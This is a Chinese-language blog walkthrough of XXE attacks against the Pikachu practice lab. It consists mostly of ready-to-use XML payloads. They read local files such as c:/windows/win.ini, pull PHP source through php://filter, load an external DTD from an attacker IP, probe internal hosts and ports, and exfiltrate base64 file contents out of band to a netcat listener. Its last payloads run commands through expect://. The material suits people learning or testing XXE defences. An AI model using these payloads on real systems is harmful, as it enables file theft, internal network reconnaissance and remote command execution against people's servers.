1.POC攻击测试
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a" > ]>
<foo>&xxe;</foo>
读取到实体xxe内容
2.查看文件
在搜索栏提交xml源码读取目标主机c盘下的指定文件内容
#查看文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/flag" > ]>
<foo>&xxe;</foo>
读取到指定文件内容
3.查看源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php" > ]>
<foo>&xxe;</foo>
base-64解码得到源码
以上都是自己定义实体,自己调用实体
4.DTD外部调用
写入一个eval.dtd文件里面包含evil实体读取文件
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
定义了一个实体,给了实体一个数值
xml攻击访问eval.dtd
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.0.176/eval.dtd" >
%xxe;
]>
<foo>&evil;</foo>
注意引用的时候没空格
页面渲染出dtd文件内要读取的win.ini内容
5.探测内网存货主机与开放端口
//测试内网存活主机
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://172.16.6.89"> ] > <foo>&xxe;</foo>
//测试内网存活主机端口
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://172.16.6.89:80"> ] > <foo>&xxe;</foo>
扫描内网存活主机
访问内网某台存活主机的端口(一直转圈说明没有开启端口)
6.无回显探测
开启8888监听
nc -lvvp 8888
浏览器访问端口,得到监听回显
新建dtd文档
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://目标IP:8888/?%file;'>">
%start;
引用dtd
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://攻击机IP/eee.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/phpstudy_pro/WWW/333.txt"> %remote; %send;]>
监听得到base64编码内容
base64解码得到文件内容
无回显探测检测成功!
7.扩展:命令执行
在特定场景下,由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接 利⽤ XXE 进⾏ RCE。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<x>&xxe;</x>
标签:文件,XXE,--,主机,pikachu,端口,dtd,xxe,读取
From: https://blog.csdn.net/qq_54694921/article/details/144560694